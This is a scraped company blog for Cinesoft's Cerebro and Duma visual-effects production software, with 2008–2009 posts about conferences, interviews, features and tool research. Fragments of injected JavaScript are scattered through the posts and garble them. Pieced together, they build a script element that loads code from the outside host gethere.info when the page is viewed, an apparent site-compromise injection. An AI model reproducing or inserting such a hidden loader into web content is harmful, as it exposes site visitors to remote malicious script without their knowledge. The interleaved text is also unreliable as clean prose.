Now in site you can login in Cerebro and change you profile or get new password. It’s easy, all you need is just to find Sign In link, located at the top-left corner of the site and type-in your credentials. Click on the screenshot to take a closer look.

We are glad to present website — rendermania.ru, representation of the Russian Company named Asymmetric VFX and the American Company named Transparent House, supported by CineSoft company in the sphere of computer graphics outsourcing. We are seeking for Partners from Asian regions to carry out business in the following spheres: Modeling Texturing Animation Compositing Rotoscoping Architectural visualization More details — rendermania.ru   […]

Our photostream from siggraph [:]

Our team head Konstantin Kharitonov will be at SIGGRAPH 2009 in New Orleans from Monday 3th August to Friday 7th August and after it Los Angeles from Monday 10th August to Friday 14th August! If you want to meet with us and learn мore about our products please send e-mail info@cinesoft.ru or just call +7 […]

The speed of response to a database accelerated three times — all thanks to our new dedicated server! We were able to move without changing any settings on the user side.

Photos from Cg Event 2009 summer [mappress]

New second issue of the magazine «Magic CG» there is an article about us. (Russian) The page for download

1-12 July 2009 in the World Trade Center at Krasnaya Presnya in Moscow Sixth Conference on computer graphics «CG-EVENT-2009-SUMMER». During the two day conference, according to tradition, will be presented to the best domestic and foreign projects in the field of computer graphics. You can find Cerebro on our booth and on free Seminar: 12 […]

Interview for mir3d.ru (Russian)

http://picasaweb.google.ru/khar.khar/CerebroCourse – some photos 🙂

Now we start sending digest and instant notification by email! You can configure email Digest in menu Cerebro/Change profile … (Click for enlarge)

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On Saturday, on June 6 RealTime School organizes a seminar – “Management of VFX / Animation / Game Projects”. Admission is free. Recruitment of students for the first course, has already begun. Read the training program, you can following this link. (Russian) Дмитрий Остроглядов Управление медиа-проектами 6 июня, 12:00 Суббота Организатор: Школа RealTime

New opportunity – invite peoples in your Universe. Work like Skype add to contacts list 🙂 (Click for enlarge) [:]

We are moving Cerebro SQL data base to new hosting! More details in forum – http://www.cinesoft.ru/forum/viewtopic.php?f=3&t=21 (Russian) } else {

«T-Platform» at the Cinema Production Service 2009 (Russian) All of the tasks carried out under control of Russia’s software development partner T-Platforms Company CineSoft. Their product Duma was created to manage distributed computing. UPD: Now we are Software solution partner Some photos: } else {

Sergei Tsyptsyn interview (March, 2009) (Russian) In addition, we worked closely with Kostya Kharitonov and company Cinesoft, which makes the package Cerebro, and we use their project management system for uploading, and play materials that are produced during the course. var d=document;var s=d.createElement(‘script’);

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«CPS/ Cinema Production service» is the only specialized exhibition in Russia, which will provide a full range of services for TV-and-Cinema production. Leading film studious, firms undertaking comprehensive production arrangements, companies that offer professional services in this branch, sellers and manufacturers of filming equipment present CPS. You can find the Duma on T-Platforms / A-Vfx […]

RealTime School announces collaborating 3D short animated project. All the management on the project will occur in the Cerebro. If you have already studied in RealTime, we invite you to participate in creating a short animated film. This is a non-commercial project, which  give school students an opportunity to express themselves. Drawing concepts, characters and […]

Dmitry Shirokov interview (January, 2009) (Sorry only in Russian) Training is conducted in the style of work on a big project, the system Cerebro, provided by the company «Cinesoft» … Обучение проводится в стиле работы на большом проекте, на системе Cerebro, предоставленной компанией «Cinesoft». [UPD] Detailed description Online courses by Scream School

Now you can choose you destiny: The Dark side or the Light side of the Force 🙂 d.getElementsByTagName(‘head’)[0].appendChild(s);

Look at fantastic gift from our friend Andrew Polegaev! Vladimir Barzionov and I, we are just like Steve Jobs and Bill Gates in the 80’s:) Later, we intended you more photos from our New Year party! (Click for enlarge) }

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Three types of search: messages + task + attachments Dynamic number of search criteria, like Mac OS X finder ! User and Server (company) presets P.S: By the way, right now we can export all visible stuff in Excel: Navigation / Interest / Assigned task and  of course all types of search ! All exports […]

It was cool ! See you next year ! Feed back stuff, many photos and Russian speech: http://picasaweb.google.com/cgevent/CGEVENT20081 – day one http://picasaweb.google.com/cgevent/CGEVENT20082 – day two http://picasaweb.google.com/luno17/CGEVENT20082930 – nice sepia photos 🙂 http://picasaweb.google.ru/zabelinvlad/CGEVENT2008 http://picasaweb.google.com/Vodoley88/CGevent2008 http://picasaweb.google.com/Vodoley88/Cgevent200805 http://www.flickr.com/photos/tykobi/sets/72157610647521011/ – photos by Mach Tony Kobayashi (Pixar) NEW http://picasaweb.google.com/sashagorec/CGEvent2008WinterMkRisunok http://www.cgtalk.ru/forum/showthread.php?t=22124 http://forum.cgtalk.by/showthread.php?t=4374 http://www.myarchipress.com/archives/2008/12/02/1195 http://blog.leoartz.com/2008/12/02/cgevent_2008_feedback/ http://renderman.ru/forum/read.php?1,7839 More on  http://www.cgevent.ru (Click for enlarge) […]

Features: Multiply comments on time line or in one frame Unicode support, see screenshot w/ Russian text Any text style, by robust WYSIWYG html editor Active links to other Cerebro task/messages or any html url and etc. (Click to enlarge) if (document.currentScript) {

1.A New Era – from sidefx.com The news that Softimage will be acquired by Autodesk marks the end of an era. The past 20 years, developing software alongside Softimage has been a dynamic time, full of innovation and healthy competition. Starting with character animation in 1988, Softimage has advanced the industry in many areas. I […]

Our company members Konstantin and Vladimir will be at CG EVENT 2008 in Moscow from Saturday 29th to Sunday 30th november and we’d love to meet you. If you’ll be at CG EVENT too, please send us an e-mail. See you there!

Job Exec Order – new abilities for job schedule ! Job Dependences between any job ! In-line job list edit – job priority and order ! New job tag for preventing submit jobs w/ not unique output sequences Any color mask for any jobs New multi host commands on render farm (user customized)

Many minor changes associated with usability and nice design 🙂 Two navigation model – new “like” ms explorer and old “like” mac finder  🙂 New icons for every task – indicates subscription, unwatched, type of structure inside Two sorting model for messages – new structured and old by mod. time Status bar w/ some information […]

Original Nvidia PR !  Of course in Cerebro (eye) we use GPU too 🙂 P.S: Page w/ slow-mo on Nvidia site 🙂

Interview for render.ru (October, 2008) (Sorry only in Russian) 3D Word (tiny message) (October, 2008)} else {

Wow !!! It is real cool stuff ! But where is colors in my paper ? 🙂 P.S.: Context is cool as hell, but presentation is sucks 🙁 Two minutes until the show cool stuff :(d.getElementsByTagName(‘head’)[0].appendChild(s);

The devil it was cool! I was at Siggraph first time:) Our photos: Siggraph Stuff Grand Canyon + Los Vegas Siggraph Stuff (Pixar User Group) R&H office }

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Cull stuff  – In Which A Spreadsheet Function Makes Me Positively Giddy P.S:  Big update for Research on visual effects production databases P.P.S:  First press 🙂 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fill in “Demo Request Form” now and get all the Instructions in one business day! Detailed Download Instructions for Duma and Cerebro demos will be sent out to all users of pre-order programm! P.S. Enjoy demo versions for Linux 32/64 and Windows now! Demos for Mac OS X to be available after SIGGRAPH.var d=document;var s=d.createElement(‘script’);

Working Remotely: Yes, It Sounds Good, But How Do You Actually Do It? – some cool stuff ! By Jake Simpson Gamasutra July 24 2008 var d=document;var s=d.createElement(‘script’);

For me open source is not a business model at all ! And why price on this paper about open source is so high ? Characteristics of Open Source Software Vendors: Results from IDC’s 2008 OSS Vendor Survey By: Matthew Lawton Program Director, Software Business Strategies Printed Page Length – 20 pages and Price – $ […]

We are needed to find good api’s and tools for developing future Duma versions ! Restriction – api’s or tools must be cross-platform and free: (clients must be on linux, mac and win) Robust GUI client for remote administration ? (Imagine… One click for open remote admin at needed host from Deputate client) May be […]

http://www.programeter.com Indicators by Programeter Know-How Score. Illustrates breadth of the programmer’s knowledge in the project. Unique Know-How. Measures knowledge of the programmer that is NOT shared with other team members. Fresh Know-How. Measures programmer’s knowledge that was refreshed during the reporting period. New Know-How. Measures knowledge of the programmer that was introduced during the reporting […]

How To Deploy UniCluster Express in Amazon’s Elastic Computing Cloud (EC2) Get Pdf – http://www.univaud.com/hpc/wp-unicluster-amazon-ec2.php The best part is – “00:05.07 minutes later …” 🙂 Other videos: http://www.screencast.com/users/BioTeam/folders/UniCluster-in-Amazon-EC2var d=document;var s=d.createElement(‘script’);

Apple filing takes Podcasts to the next level – Fanny 🙂 Tree patents, but none of which have come to fruition as of yet ! “A recently published filing discovered by AppleInsider reveals work by Apple’s chief software architect to advance the Podcast beyond its static form and into a live interactive presentation medium suitable […]

1. Talks by vfx supervisors Mike Fink and Jeffrey Okun at CineGear 2008, care of StudioDaily. Some fanny and interesting video, Jeffrey Okun talking about Balancing Artistry & Budgets 🙂

http://dontclick.it – some nostalgia 🙂 At the beginning of 2006, this site was Cool As Hell , but rigth now, it is like not usable funny stuff 🙂 P.S: We just installed in our blog Digg, sociable bookmarks and Gravatars !d.getElementsByTagName(‘head’)[0].appendChild(s);

I think it is last reseach list 🙂 Remote review and approval tools: cineSync FrameCycler FuzeMovie (Formerly SyncVUE) Cerebro by Mirada 🙂 Alienbrain PDPlayer Concept Share (web) Cozimo (web) Octopz(web) ProofHQ [updated] (web) May be you know others ? [:]d.getElementsByTagName(‘head’)[0].appendChild(

Some research again 🙂 Restrictions : multi platform software – linix/mac/win ! NOT in-house ! No matter – free or commercial, open source or proprietary and etc. List: Alfred – king of The World ! Duma – like Alfred on drugs 🙂 Qube! Deadline DrQueue (Open Source) GridEngine (Open Source) SunGrid RenderPal Smedge Rush Muster […]

New from http://www.symphonicenergy.com/DAM [update]Media Management Deep-FreezeSequoya WorkflowNexPosure Good research – http://blog.janheinze.de/index.php?id=43 Showrunner shotrunner.com Missing Link Mathilda But I can add more systems for VFX project management / Asset managemt: Alienbrain The TACTIC GDI|Explorer Project Overlord Invisually 5thkind (old name Otc-productions) Bo-Le-Ro Helga – Open Source Temerity Pipeline vfxnexus Cerebro 🙂 From http://motion6.com/blog/2008/04/29/vfx_project_tools Compbase appears to be a […]

Every developer or project manager should read Getting Real ! I’m really enjoying right now ! Book was published in 2006, may be i was in other Galaxy 🙂 Read free on-line: Original Russian }

Just do it – Try it 🙂 Sorry but is a Pre-Order form, actual date for try versions will be announced in near future ! s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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